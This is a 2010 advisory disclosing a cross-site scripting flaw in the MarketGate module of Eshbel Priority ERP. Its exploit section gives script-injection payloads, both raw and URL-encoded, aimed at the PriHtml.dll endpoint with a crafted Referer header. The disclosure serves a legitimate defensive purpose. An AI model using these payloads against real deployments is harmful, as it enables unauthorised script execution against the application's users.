=========================================
Yaniv Miron aka "Lament" Advisory Feb 27, 2010
Eshbel Priority MarketGate module Cross Site Scripting Vulnerability
=========================================
=====================
I. BACKGROUND
=====================
Priority�s ERP
The features listed below are a selection of some of the functionality
available in a selection of the Priority modules.
BI (Business Intelligence), Purchasing, BPM (Business Process Management),
Manufacturing/Production, GL + Financials, Human Resources,
CRM (Customer Relations Management), Project Management,
Order Processing, System Administration, Service and Customer Support,
SDK (Generators), Inventory Control, User Configuration, WMS
http://www.eshbel.com//ERP-Feature.htm
=====================
II. DESCRIPTION
=====================
A malicious attacker may inject scripts into the Priority�s ERP application using the "Referer" field.
=====================
III. ANALYSIS
=====================
Exploitation of this vulnerability results in the execution of arbitrary
code using a malicious "Referer" field.
=====================
IV. EXPLOIT
=====================
http://example.com/marketgate/PriHtml.dll/WWWxxxxxxxx
Referer: http://example.com/marketgate/priorSysMan.htm
WWWxxxxxxxx=>"'><script>alert(31337)</script>&_yyyyyyyy=>"'><script>alert(31337)</script>
-------------------------------------------------------------------------------------------------------------------------------------
Referer: http://example.com/marketgate/priorSysMan.htm
WWWxxxxxxxx=%3E%22%27%3E%3Cscript%3Ealert%2831337%29%3C%2Fscript%3E&_yyyyyyyy=%3E%22%27%3E%
3Cscript%3Ealert%2831337%29%3C%2Fscript%3E
=====================
V. DISCLOSURE TIMELINE
=====================
Jan 2009 Vulnerability Found
Jan 2009 Vendor Notification
Feb 2010 Public Disclosure
=====================
VI. CREDIT
=====================
Yaniv Miron aka "Lament".
lament@ilhack.org